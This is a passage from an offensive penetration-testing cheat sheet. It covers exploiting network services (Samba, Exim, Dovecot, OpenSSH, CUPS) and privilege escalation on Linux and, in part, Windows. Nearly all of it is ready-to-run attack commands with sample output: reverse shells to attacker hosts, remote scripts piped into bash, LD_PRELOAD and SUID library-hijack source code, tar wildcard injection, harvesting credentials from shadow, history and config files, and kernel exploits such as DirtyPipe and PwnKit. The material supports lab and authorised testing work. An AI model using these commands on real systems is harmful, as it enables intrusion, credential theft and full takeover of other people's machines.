# If version shows 2.3.4, try the backdoor
nmap -p 6200 $IP
Samba (Exploits)
What it is: Open-source implementation of SMB/CIFS for Linux/Unix. Provides file sharing and Active Directory compatibility. SambaCry (CVE-2017-7494) is the most well-known exploit.
Default ports: 139, 445
Vuln research:
SambaCry / EternalRed (CVE-2017-7494)
RCE on Samba 3.5.0 - 4.6.4 — Write access to any share required
smbclient -L //$IP/ -N
rpcclient -U "" -N $IP -c "srvinfo"
# Metasploit:
use exploit/linux/samba/is_known_pipename
set RHOSTS $IP
set SMB_SHARE_NAME <writable_share>
run
Samba symlink traversal
Read files outside the share — If wide links enabled
smbclient //$IP/share -N
smb: \> symlink /etc/passwd passwd_link
smb: \> get passwd_link
Samba username enumeration
Enumerate valid users without authentication
rpcclient -U "" -N $IP
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
Check for null sessions
Anonymous access to IPC$ — Enumerate everything
smbclient -L //$IP/ -N
smbmap -H $IP
enum4linux -a $IP
crackmapexec smb $IP -u '' -p '' --shares
Exim
What it is: Mail Transfer Agent (MTA) commonly found on Linux mail servers. The CVE-2019-10149 "Return of the WIZard" vulnerability allows unauthenticated RCE on versions 4.87-4.91.
Default ports: 25, 465, 587
Vuln research:
Identify Exim version
Banner grab on port 25 — Version determines exploit path
nc -nv $IP 25
nmap -sV -p 25 $IP
Exim 4.87-4.91 RCE (CVE-2019-10149)
"The Return of the WIZard" — Local or remote RCE
python3 raptor_exim_wiz.py -t $IP -p 25 -c "bash -i >& /dev/tcp/$LHOST/4444 0>&1"
Exim user enumeration
VRFY and EXPN commands — Enumerate valid users
smtp-user-enum -M VRFY -U users.txt -t $IP
smtp-user-enum -M EXPN -U users.txt -t $IP
smtp-user-enum -M RCPT -U users.txt -t $IP
Dovecot
What it is: Open-source IMAP/POP3 mail server for Linux. Usually found alongside Postfix or Exim. Config files often contain plaintext credentials. Rarely directly exploitable but a great source of credentials.
Default ports: 110 (POP3), 143 (IMAP), 993 (IMAPS), 995 (POP3S)
Vuln research:
Read Dovecot config for creds
Configuration files may contain plaintext passwords
cat /etc/dovecot/dovecot-users
cat /etc/dovecot/conf.d/10-auth.conf
cat /etc/dovecot/conf.d/auth-passwdfile.conf.ext
# Look for passdb and userdb entries
Read mail for credentials
If you can access mail — Users often email passwords
# Via IMAP:
curl -k imaps://$IP -u user:password
# List mailboxes:
curl -k "imaps://$IP" -u user:password -X "LIST \"\" *"
# Read inbox:
curl -k "imaps://$IP/INBOX" -u user:password -X "FETCH 1:* BODY[TEXT]"
Brute force mail credentials
Hydra against IMAP/POP3
hydra -l user -P wordlist.txt $IP imap
hydra -l user -P wordlist.txt $IP pop3
OpenSSH
What it is: The standard SSH server on virtually every Linux/Unix system. Direct exploits are rare in modern versions, but username enumeration, key-based attacks, and misconfigurations are common.
Default ports: 22
Vuln research:
Username enumeration (CVE-2018-15473)
OpenSSH < 7.7 — Determine valid usernames
python3 ssh_enum.py $IP -u root
python3 ssh_enum.py $IP -U users.txt
# Or Metasploit:
use auxiliary/scanner/ssh/ssh_enumusers
SSH key exploitation
If you find a private key — Use it
# Found id_rsa in a share, web dir, or LFI:
chmod 600 id_rsa
ssh -i id_rsa user@$IP
# If passphrase protected:
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
SSH agent forwarding hijack
If agent forwarding is enabled — Hijack other users' keys
# Find SSH agent sockets:
ls -la /tmp/ssh-*/
# If you find another user's socket:
export SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXXXX
ssh-add -l # List their keys
ssh user@other-host # Use their keys
SSH port forwarding abuse
If you have SSH access — Reach internal services
# Local forward (access internal service from your box):
ssh -L 8080:127.0.0.1:8080 user@$IP
# Now visit http://127.0.0.1:8080 on your machine
# Dynamic SOCKS proxy:
ssh -D 9050 user@$IP
# Configure proxychains to use 127.0.0.1:9050
CUPS (Printing)
What it is: Common Unix Printing System — manages printers on Linux/macOS. The web interface is often accessible without authentication and has had multiple RCE vulnerabilities.
Default ports: 631
Vuln research:
Access CUPS web interface
Often unauthenticated — Information disclosure
curl http://$IP:631/
curl http://$IP:631/printers
curl http://$IP:631/admin
CUPS RCE (CVE-2024-47176 / CVE-2024-47076)
cups-browsed unauthenticated RCE — Inject malicious printer
# If cups-browsed is listening on UDP 631:
# Send crafted IPP request to add malicious printer
# When a user prints, your command executes
python3 cups_rce.py $IP $LHOST "bash -i >& /dev/tcp/$LHOST/4444 0>&1"
Read CUPS config
Configuration may reveal users and credentials
cat /etc/cups/cupsd.conf
cat /etc/cups/printers.conf
# Look for: AuthType, SystemGroup, device URIs with credentials
🐧 Linux Privilege Escalation
Escalation vectors for Linux hosts. Always run automated tools first, then check manually.
- AUTOMATED ENUMERATION
- SYSTEM INFORMATION
- SUDO
- SUID / SGID BINARIES
- CRON JOBS
- FILE PERMISSIONS & CAPABILITIES
- KERNEL EXPLOITS
- DOCKER / LXD / CONTAINER ESCAPE
- NFS & INTERNAL SERVICES
AUTOMATED ENUMERATION
Run linPEAS
Most comprehensive auto-enum — Highlights privesc vectors in color
curl http://ATTACKER_IP/linpeas.sh | bash
or: ./linpeas.sh | tee linpeas_output.txt
Example Output
linpeas output (color coded):
[+] Possible sudo pwnage:
(root) NOPASSWD: /usr/bin/vim
[+] SUID files:
/usr/bin/pkexec
[+] Writable cron scripts:
/opt/backup.sh
Run linux-smart-enumeration
Alternative to linPEAS — Different perspective
curl http://ATTACKER_IP/lse.sh | bash
Example Output
./lse.sh
[!] usr010 Can we read /etc/shadow?... yes!
[!] fst020 Uncommon setuid binaries... /opt/custom_app
[!] ctn000 Is the user in a docker group?... yes!
(Different checks than linPEAS, use both)
Run LinEnum
Thorough mode — Classic enum script
bash LinEnum.sh -t
Example Output
bash LinEnum.sh -t
[+] Current user/group info:
uid=33(www-data)
[+] Possible sudo pwnage:
/usr/bin/vi
[+] SUID files:
/usr/bin/pkexec
pspy (process snooping)
Watch processes without root — Catch cron jobs and background tasks
./pspy64
./pspy32
Example Output
./pspy64
2026/02/24 10:00:01 CMD: UID=0 PID=1234 /bin/bash /opt/cleanup.sh
2026/02/24 10:05:01 CMD: UID=0 PID=1235 /usr/bin/python3 /root/backup.py
(Root cron jobs revealed that aren't in crontab)
SYSTEM INFORMATION
OS and kernel version
Check for kernel exploits — Old kernels = easy root
uname -a
cat /etc/os-release
cat /etc/issue
Example Output
uname -a
Linux target 4.15.0-20-generic #21-Ubuntu SMP x86_64
(Search: Linux 4.15.0-20 exploit -> DirtyCow, etc)
Who am I / groups
Current user context — docker/lxd/disk groups = root
id
whoami
groups
Example Output
uid=33(www-data) gid=33(www-data) groups=33(www-data)
OR: uid=1000(john) gid=1000(john) groups=1000(john),999(docker)
(docker group = instant root!)
All users
Users with shells — Identify targets for lateral movement
cat /etc/passwd
cat /etc/passwd | grep -v nologin | grep -v false
Example Output
cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Admin:/home/admin:/bin/bash
john:x:1001:1001::/home/john:/bin/bash
(Users with actual shell access)
Readable /etc/shadow
If readable = crack hashes — Should not be world-readable
cat /etc/shadow 2>/dev/null
Example Output
cat /etc/shadow
root:$6$rounds=5000$salt$hashhere:19000:0:99999:7:::
admin:$6$salt2$anotherhash:19000:0:99999:7:::
(SHOULD NOT BE READABLE! Crack with hashcat -m 1800)
Network info
Interfaces, routes, connections — Find internal networks, pivot targets
ip a
ifconfig
route
arp -a
netstat -tulnp
ss -tulnp
Example Output
ip a
2: eth0: inet 10.10.10.5/24
3: eth1: inet 172.16.1.5/24 <- DUAL HOMED = pivot!
ss -tulnp
127.0.0.1:3306 mysqld <- internal MySQL
127.0.0.1:8080 python3 <- hidden internal app
0.0.0.0:22 sshd
(Internal services = more attack surface)
Running processes
All running services — Find services running as root
ps auxww
ps -ef
Example Output
ps auxww
root 1234 /usr/sbin/apache2 -k start
root 1235 /usr/bin/mysqld --user=root <- MySQL as root!
root 1236 /opt/vulnerable_app --config /root/app.conf
root 1237 /usr/bin/python3 /opt/cron_script.py
(Custom apps and root processes are targets)
Installed packages
Installed software — Vulnerable versions
dpkg -l
rpm -qa
Example Output
dpkg -l | grep -i apache
apache2 2.4.29-1ubuntu4.14
(Old version, check for CVEs)
Environment variables
Credentials in env vars — DB passwords, API keys
env
cat /proc/*/environ 2>/dev/null
Example Output
env
DB_PASSWORD=MySQLr00tP@ss
API_KEY=sk-abc123456
SECRET_KEY=SuperSecretKeyHere
(Credentials exposed in environment)
SUDO
Check sudo permissions
What can you run as root? — First thing to check always
sudo -l
Example Output
sudo -l
User www-data may run:
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/find
(ALL) NOPASSWD: /opt/backup.sh
(Check GTFOBins for vim and find)
GTFOBins lookup
Abuse allowed binaries — BOOKMARK THIS SITE
https://gtfobins.github.io/
Search for each sudo binary
Example Output
sudo -l shows: (root) NOPASSWD: /usr/bin/find
GTFOBins: https://gtfobins.github.io/gtfobins/find/
Sudo: sudo find . -exec /bin/sh \; -quit
# whoami
root
Sudo with no password
Run directly without password — Free root commands
If (NOPASSWD) in sudo -l output
Example Output
sudo -l
(root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!bash'
# whoami
root
(No password prompt = direct escalation)
Sudo env_keep (LD_PRELOAD)
Hijack shared library loading — Runs your code as root
If env_keep+=LD_PRELOAD:
gcc -shared -fPIC -o /tmp/pe.so pe.c
sudo LD_PRELOAD=/tmp/pe.so <allowed_cmd>
Example Output
sudo -l shows: env_keep+=LD_PRELOAD
Compile:
#include <stdio.h>
void _init() { setuid(0); system("/bin/bash"); }
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/allowed_command
# whoami
root
Sudo version exploit
sudo < 1.8.28 = CVE-2019-14287 sudo < 1.9.5p2 = CVE-2021-3156 — Baron Samedit, etc
sudo --version
Search: sudo <version> exploit
Example Output
sudo --version
Sudo version 1.8.31
CVE-2021-3156 (Baron Samedit):
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): corrupted
(Vulnerable! Use exploit for root)
Sudo with shell escape
Many programs have shell escapes — Check GTFOBins for each binary
sudo vim -> :!sh
sudo less -> !sh
sudo man -> !sh
sudo awk 'BEGIN {system("/bin/sh")}'
Example Output
sudo vim -c ':!sh'
# whoami
root
(Escaped to root shell via vim)
Sudo script injection
Edit the script, add reverse shell — Writable scripts run as root
If sudo allows running a script you can modify
Example Output
sudo -l: (root) /opt/backup.sh
ls -la /opt/backup.sh
-rwxrwxrwx 1 root root <- WORLD WRITABLE!
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/backup.sh
sudo /opt/backup.sh
/tmp/rootbash -p
# whoami
root
SUID / SGID BINARIES
Find SUID binaries
Binaries that run as owner (often root) — Custom/unusual SUID = exploit
find / -perm -4000 -type f 2>/dev/null
Example Output
find / -perm -4000 2>/dev/null
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/pkexec <- PwnKit!
/opt/custom_app <- non-standard SUID!
(Focus on non-standard binaries)
Find SGID binaries
Binaries that run as group — Less common but still useful
find / -perm -2000 -type f 2>/dev/null
Example Output
find / -perm -2000 -type f 2>/dev/null
/usr/bin/wall
/usr/bin/crontab
/opt/custom_tool <- non-standard!
(SGID runs as group owner, check for abuse)
GTFOBins SUID lookup
Known SUID abuses — Ignore standard ones like sudo, passwd
Search each unusual SUID binary on GTFOBins
Example Output
SUID: /usr/bin/python3
GTFOBins SUID section:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
(SUID python = instant root)
SUID shared library hijack
If SUID binary loads missing library — Write library to writable path
strace <suid_binary> 2>&1 | grep 'No such file'
Create missing .so with malicious code
Example Output
strace /opt/custom_suid 2>&1 | grep 'No such file'
open("/tmp/libcustom.so", O_RDONLY) = -1 ENOENT
Compile malicious libcustom.so:
#include<stdlib.h>
void _init(){ system("/bin/bash -p"); }
gcc -shared -fPIC -o /tmp/libcustom.so lib.c
/opt/custom_suid
# whoami
root
SUID PATH abuse
Hijack relative command calls — Binary runs your fake command as root
If SUID binary calls commands without full path:
echo '/bin/bash' > /tmp/command
chmod +x /tmp/command
PATH=/tmp:$PATH <suid_binary>
Example Output
/opt/custom_app calls 'service apache2 start' without full path
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
PATH=/tmp:$PATH /opt/custom_app
# whoami
root
SUID binary version exploits
Outdated binaries with CVEs — Especially custom compiled ones
Check version of each SUID binary
Example Output
/opt/custom_v1.2 has SUID
Google: 'custom_app v1.2 exploit'
Exploit-DB: Buffer overflow in v1.2
(Custom compiled SUID binaries are prime targets)
CRON JOBS
System cron jobs
Scheduled tasks — Scripts running as root
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
crontab -l -u <user>
Example Output
cat /etc/crontab
* * * * * root /opt/backup.sh
*/5 * * * * root /usr/local/bin/cleanup.py
ls -la /opt/backup.sh
-rwxrwxrwx 1 root root <- WORLD WRITABLE!
Writable cron scripts
Modify script to add reverse shell — Runs as the cron user (often root)
Check if you can write to scripts in crontab
Example Output
cat /etc/crontab:
* * * * * root /opt/backup.sh
ls -la /opt/backup.sh:
-rwxrwxrwx 1 root root
echo 'bash -i >& /dev/tcp/ATTACKER/443 0>&1' >> /opt/backup.sh
(Wait 1 minute for root reverse shell)
Cron PATH abuse
Script name matches cron command — Cron runs your script instead
If cron has custom PATH:
Create malicious script in earlier PATH dir
Example Output
cat /etc/crontab:
PATH=/home/user:/usr/local/sbin:/usr/local/bin
* * * * * root backup
echo '#!/bin/bash
bash -i >& /dev/tcp/ATTACKER/443 0>&1' > /home/user/backup
chmod +x /home/user/backup
(Cron finds your script first in PATH)
Cron wildcard injection
tar/rsync wildcard abuse — Filenames become command arguments
If cron runs: tar czf /tmp/backup.tar.gz *
Create files: --checkpoint=1 --checkpoint-action=exec=shell.sh
Example Output
Crontab: * * * * * root cd /var/www && tar czf /tmp/backup.tar.gz *
cd /var/www
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
Wait 1 min, then:
/tmp/rootbash -p
# whoami
root
Monitor for hidden cron
Processes not visible in crontab — System timers, at jobs
pspy64 or pspy32 (run for 5 min)
Example Output
pspy64 output:
CMD: UID=0 PID=1234 | /bin/bash /root/secret_script.sh
CMD: UID=0 PID=1235 | /usr/bin/python3 /opt/hidden_task.py
(Found cron jobs not in crontab)
Systemd timers
Modern cron replacement — Check associated service files
systemctl list-timers --all
Example Output
systemctl list-timers
NEXT LEFT UNIT
Mon 10:00 2min backup.timer
cat /etc/systemd/system/backup.service
ExecStart=/opt/backup.sh
(Check if backup.sh is writable)
FILE PERMISSIONS & CAPABILITIES
World-writable files
Files anyone can modify — Config files, scripts, binaries
find / -writable -type f 2>/dev/null | grep -v proc
Example Output
find / -writable -type f 2>/dev/null
/etc/passwd <- can add root user!
/opt/app/config.py <- can inject code
/var/www/html/index.php <- can add webshell
World-writable directories
Directories anyone can write to — Drop files for path hijack
find / -writable -type d 2>/dev/null
Example Output
find / -writable -type d 2>/dev/null
/tmp
/var/tmp
/opt/app/plugins/ <- can drop files here
/usr/local/bin/ <- PATH hijack possible
Linux capabilities
Capabilities on binaries — cap_setuid = instant root
getcap -r / 2>/dev/null
Example Output
getcap -r / 2>/dev/null
/usr/bin/python3 = cap_setuid+ep <- instant root!
/usr/bin/ping = cap_net_raw+ep <- normal, ignore
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# whoami
root
Capability abuse
GTFOBins for capabilities too — Capabilities are like mini-SUID
python3 with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Example Output
getcap shows: /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# whoami
root
OR: /usr/bin/vim = cap_setuid+ep
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh")'
SSH keys
Private keys for other users — SSH as root or other user
find / -name 'id_rsa' -o -name 'authorized_keys' -o -name '*.pem' 2>/dev/null
ls -la /home/*/.ssh/
ls -la /root/.ssh/
Example Output
find / -name id_rsa 2>/dev/null
/home/admin/.ssh/id_rsa
/root/.ssh/id_rsa <- root's key!
/opt/backups/.ssh/id_rsa
find / -name authorized_keys -writable 2>/dev/null
/root/.ssh/authorized_keys <- WRITABLE!
echo 'your_pub_key' >> /root/.ssh/authorized_keys
ssh root@localhost
(Write your key = root SSH access)
Readable config files
Database passwords, API keys — Password reuse is common
find / -name '*.conf' -readable 2>/dev/null
find / -name '*.config' -readable 2>/dev/null
find / -name 'wp-config*' 2>/dev/null
Example Output
find / -name '*.conf' -readable 2>/dev/null
/etc/apache2/sites-enabled/000-default.conf
/var/www/html/wp-config.php
cat wp-config.php:
define('DB_PASSWORD', 'WordPressDBp@ss!');
(Database credentials)
History files
Previous commands — May contain typed passwords
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat ~/.mysql_history
Example Output
cat /home/admin/.bash_history
mysql -u root -p'S3cretDBP@ss'
ssh root@10.10.10.20
sudo su - backup_user
(Passwords typed in commands)
Backup files
Backup files with old configs — Old passwords, keys
find / -name '*.bak' -o -name '*.old' -o -name '*.backup' -o -name '*.zip' -o -name '*.tar.gz' 2>/dev/null
Example Output
find / -name '*.bak' -o -name '*.old' 2>/dev/null
/var/backups/shadow.bak <- old shadow file!
/opt/config.old <- old config with passwords
cat /var/backups/shadow.bak
root:$6$oldhash...
/opt and /srv
Custom installed applications — Often misconfigured
ls -la /opt/
ls -la /srv/
Example Output
ls -la /opt/
drwxrwxrwx admin app_v2/ <- writable custom app!
-rwsr-xr-x root monitor <- SUID custom binary!
ls -la /srv/
drwxr-xr-x root web/ <- alternative web root
PATH Hijack & Library Hijacking
Find scripts calling commands without full path
If a SUID binary or cron job calls a command without absolute path — Hijackable
find / -perm -4000 2>/dev/null
strings /usr/local/bin/suspicious | grep -v "/"
# Look for: service, curl, cat, etc. without /usr/bin/ prefix
Create malicious binary in PATH
Prepend writable directory to PATH — Hijack command execution
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suspicious
# Calls "service" which now runs /tmp/service = root shell
Writable PATH directories
Check if any PATH directories are writable
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null
LD_PRELOAD hijack
If sudo env_keep has LD_PRELOAD — Instant root
# Check: sudo -l → look for env_keep+=LD_PRELOAD
cat > /tmp/shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
LD_LIBRARY_PATH hijack
Missing shared libraries — Create your own
ldd /usr/local/bin/suspicious
# If any show "not found" = you can create it
gcc -fPIC -shared -o /tmp/libcustom.so shell.c
sudo LD_LIBRARY_PATH=/tmp <allowed_command>
Wildcard Injection
Abuse wildcard expansion in cron jobs and scripts for privilege escalation.
How it works
When a script uses wildcards (*) with commands like tar, chown, or rsync — Filenames are interpreted as flags
# If a cron job runs:
cd /opt/backup && tar czf /tmp/backup.tar.gz *
# And you create files named like tar flags:
touch "/opt/backup/--checkpoint=1"
touch "/opt/backup/--checkpoint-action=exec=sh shell.sh"
# tar interprets the filenames as arguments = RCE as the cron user
Tar wildcard injection (most common)
Exploit tar with checkpoint options — Execute arbitrary commands
# 1. Create your reverse shell script:
echo '#!/bin/bash' > /opt/backup/shell.sh
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' >> /opt/backup/shell.sh
chmod +x /opt/backup/shell.sh
# 2. Create the malicious filenames:
touch "/opt/backup/--checkpoint=1"
touch "/opt/backup/--checkpoint-action=exec=sh shell.sh"
# 3. Wait for cron to run tar * → triggers your shell
Chown wildcard injection
Exploit chown with --reference flag — Change file ownership
# If cron runs: chown user:group *
# Create a file owned by root that you want to own:
touch -- "--reference=/etc/passwd"
# chown will use /etc/passwd's ownership as reference
Chmod wildcard injection
Exploit chmod with --reference flag — Change file permissions
# If cron runs: chmod 755 *
touch -- "--reference=/etc/shadow"
# chmod will copy /etc/shadow's permissions to all files
Rsync wildcard injection
Exploit rsync with -e flag — Execute arbitrary commands
# If cron runs: rsync -a * /backup/
touch -- "-e sh shell.sh"
echo '#!/bin/bash\nbash -i >& /dev/tcp/$LHOST/4444 0>&1' > shell.sh
chmod +x shell.sh
How to detect
Look for wildcards in cron jobs and scripts
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/*
# Look for lines like:
# * * * * * root cd /dir && tar czf backup.tar.gz *
# * * * * * root chown user:group /dir/*
# Check writable directories that cron operates on:
find / -writable -type d 2>/dev/null
KERNEL EXPLOITS
Check kernel version
Exact kernel version — Search for matching exploits
uname -r
Example Output
uname -r
4.15.0-20-generic
Search: 'linux kernel 4.15.0-20 exploit'
Results: DirtyCow, various local privesc
(Match exact version to exploits)
linux-exploit-suggester
Automated kernel exploit finder — Suggests matching CVEs
./linux-exploit-suggester.sh
or: ./les.sh
Example Output
./linux-exploit-suggester.sh
[+] CVE-2021-4034 (PwnKit)
Versions: ALL
Confidence: Highly probable
[+] CVE-2022-0847 (DirtyPipe)
Versions: 5.8 - 5.16.11
[+] CVE-2016-5195 (DirtyCow)
Versions: 2.6.22 - 4.8.3
DirtyPipe (CVE-2022-0847)
Overwrite read-only files — Very reliable
Kernel 5.8 - 5.16.11
Example Output
uname -r: 5.13.0-39-generic (VULNERABLE)
./dirtypipe /etc/passwd 1 '${root::0:0:root:/root:/bin/bash}'
su root (no password)
# whoami
root
DirtyCow (CVE-2016-5195)
Race condition write to read-only — Older but still seen in labs
Kernel 2.6.22 - 4.8.3
Example Output
uname -r: 4.4.0-21-generic (VULNERABLE)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword
su firefart
Password: newpassword
# whoami
root (as firefart user with UID 0)
PwnKit (CVE-2021-4034)
Polkit local privesc — Almost always works if pkexec exists
pkexec on most Linux distros
Example Output
which pkexec && pkexec --version
pkexec version 0.105
./PwnKit
# whoami
root
(Works on almost all Linux distros with polkit installed)
Compile on target or cross-compile
Match architecture (x86/x64) — Static compile avoids library issues
gcc exploit.c -o exploit
or compile on attacker: gcc -static -m32 exploit.c -o exploit
Example Output
On target:
gcc exploit.c -o exploit
./exploit
OR cross-compile on attacker:
gcc -static -m64 exploit.c -o exploit
python3 -m http.server 80
On target:
wget http://ATTACKER/exploit
chmod +x exploit && ./exploit
DOCKER / LXD / CONTAINER ESCAPE
Check if in docker
Are you in a container? — Different escape techniques
cat /.dockerenv
cat /proc/1/cgroup | grep docker
Example Output
ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 (FILE EXISTS = inside Docker)
cat /proc/1/cgroup
12:blkio:/docker/abc123...
(Confirmed: running inside Docker container)
Docker group
Mount host filesystem — Instant root on host
id | grep docker
docker images
docker run -v /:/mnt --rm -it <image> chroot /mnt bash
Example Output
id
uid=1000(john) gid=1000(john) groups=999(docker)
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
# whoami
root
# cat /etc/shadow
root:$6$abc...
(Full root on host via docker)
LXD group
Mount host filesystem via LXD — Full root access to host
id | grep lxd
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
Example Output
id: groups=110(lxd)
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# cat /mnt/root/etc/shadow
(Full host filesystem access)
NFS & INTERNAL SERVICES
NFS no_root_squash
Root on NFS = root on target — Compile SUID /bin/bash on share
cat /etc/exports
If no_root_squash: mount share, create SUID binary
Example Output
cat /etc/exports
/home/backup *(rw,no_root_squash)
On attacker:
mount -t nfs 10.10.10.5:/home/backup /tmp/nfs
cp /bin/bash /tmp/nfs/rootbash
chmod +s /tmp/nfs/rootbash
On target:
/home/backup/rootbash -p
# whoami
root
Internal services
Services only on 127.0.0.1 — May be vulnerable, port forward to access
netstat -tulnp
ss -tulnp
Example Output
netstat -tulnp
127.0.0.1:8080 python3 <- internal web app
127.0.0.1:3306 mysqld <- internal MySQL
SSH tunnel to access:
ssh -L 8080:127.0.0.1:8080 user@target
Browse: http://127.0.0.1:8080 on attacker
MySQL as root
Database running as root — UDF = User Defined Function for RCE
mysql -u root -p
If root: SELECT sys_exec('chmod u+s /bin/bash');
or UDF exploit
Example Output
ps aux | grep mysql
root 1234 /usr/sbin/mysqld
(MySQL running as root!)
mysql -u root -p
SELECT sys_exec('chmod u+s /bin/bash');
bash -p
# whoami
root
🪟 Windows Privilege Escalation
Escalation vectors for Windows hosts. Token privileges and service misconfigurations are the most common wins.
- AUTOMATED ENUMERATION
- SYSTEM INFORMATION
- TOKEN PRIVILEGES (POTATO ATTACKS)
- SERVICE MISCONFIGURATIONS
- REGISTRY & AUTOLOGON
- CREDENTIAL HUNTING
- SCHEDULED TASKS
- KERNEL EXPLOITS
AUTOMATED ENUMERATION
Run winPEAS
Most comprehensive auto-enum — Color-coded findings
.\winPEASx64.exe
or: .\winPEASany.bat
Example Output
winPEAS output:
[!] Possible privesc:
SeImpersonatePrivilege: ENABLED
[!] Unquoted service path:
C:\Program Files\My App\service.exe
[!] Writable service:
CustomSvc -> C:\custom\svc.exe
PowerUp.ps1
PowerShell privesc checker — Finds service misconfigs
Import-Module .\PowerUp.ps1
Invoke-AllChecks
Example Output
Import-Module .\PowerUp.ps1
Invoke-AllChecks
[*] Checking service permissions...
[!] CustomSvc - Users have AllAccess
[*] Checking unquoted service paths...
[!] VulnService - C:\Program Files\My App\svc.exe
Seatbelt
Detailed system enum — GhostPack tool
.\Seatbelt.exe -group=all
Example Output
.\Seatbelt.exe -group=all
====== InterestingFiles ======
C:\Users\admin\Desktop\passwords.txt
====== TokenPrivileges ======
SeImpersonatePrivilege: Enabled
====== SavedRDPConnections ======
DC01.corp.local - admin
SharpUp
C# version of PowerUp — Quick audit
.\SharpUp.exe audit
Example Output
.\SharpUp.exe audit
=== Modifiable Services ===
Name: CustomSvc
Path: C:\custom\svc.exe
Permissions: Everyone [AllAccess]
(Can change service binary path)
windows-exploit-suggester
Match patches to exploits — Run systeminfo on target first
python3 windows-exploit-suggester.py --database <db> --systeminfo <sysinfo.txt>
Example Output
python3 wes.py sysinfo.txt
[E] MS17-010: EternalBlue (KB4013389)
[E] CVE-2019-1458: WizardOpium (KB4530684)
[E] CVE-2021-36934: HiveNightmare
[M] MS16-032: Secondary Logon (KB3143141)
SYSTEM INFORMATION
System info
OS version, patches, architecture — Check for missing patches
systeminfo
hostname
whoami /all
Example Output
systeminfo
OS Name: Microsoft Windows Server 2019
OS Version: 10.0.17763 N/A Build 17763
System Type: x64-based PC
Hotfix(s): 3 Hotfix(s) Installed
KB4534273, KB4516115, KB4523204
Current user privileges
Token privileges — SeImpersonate = potato attack
whoami /priv
Example Output
whoami /priv
SECURITY INFORMATION
--------------------
SeImpersonatePrivilege Enabled <- POTATO ATTACK!
SeAssignPrimaryToken Enabled
SeBackupPrivilege Enabled <- READ ANY FILE!
Users and groups
Local accounts — Who is admin?
net user
net localgroup
net localgroup administrators
Example Output
net user
Administrator Guest john svc_backup
net localgroup administrators
Administrator
john
(john is local admin!)
Network info
Interfaces, routes, connections — Internal networks, pivot targets
ipconfig /all
route print
arp -a
netstat -ano
Example Output
ipconfig /all
Ethernet0: 10.10.10.5/24 Gateway: 10.10.10.1
Ethernet1: 172.16.1.5/24 <- DUAL HOMED!
netstat -ano | findstr LISTEN
TCP 0.0.0.0:80 LISTENING 1234
TCP 127.0.0.1:8080 LISTENING 5678 <- internal only!
TCP 0.0.0.0:3389 LISTENING 904
Running processes
Services and processes — Find interesting services
tasklist /svc
Get-Process
Example Output
tasklist /svc
Image Name PID Services
httpd.exe 1234 Apache2.4
mysqld.exe 1235 MySQL
FileZilla Serv 1236 FileZilla <- check version!
custom_svc.exe 1237 CustomSvc <- non-default!
wmic process get name,executablepath
(Find custom/vulnerable services)
Installed software
Installed applications — Outdated software with CVEs
wmic product get name,version
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*' | Select DisplayName,DisplayVersion
Example Output
wmic product get name,version
Apache HTTP Server 2.4.29
MySQL Server 5.7.29
FileZilla Server 0.9.41 <- OLD VERSION!
(Search each for known CVEs)
Check architecture
32-bit or 64-bit — Match exploits to arch
wmic os get osarchitecture
Example Output
wmic os get osarchitecture
64-bit
(Use x64 exploits and payloads)
Hotfixes installed
Installed patches — Missing KB = potential exploit
wmic qfe list
Get-HotFix
Example Output
wmic qfe list
HotFixID InstalledOn
KB4534273 1/15/2020
KB4516115 9/10/2019
(Last patch 2020 = many missing updates)
TOKEN PRIVILEGES (POTATO ATTACKS)
Check for SeImpersonatePrivilege
Service accounts often have this — Gateway to SYSTEM
whoami /priv
Look for: SeImpersonatePrivilege
Example Output
whoami /priv
SeImpersonatePrivilege: Enabled
.\PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named Pipe: \\.\pipe\test\pipe
C:\> whoami
nt authority\system
PrintSpoofer
Windows 10 / Server 2016+ — Fast and reliable
.\PrintSpoofer64.exe -i -c cmd
Example Output
.\PrintSpoofer64.exe -i -c cmd
[+] Got SYSTEM shell
C:\Windows\system32> whoami
nt authority\system
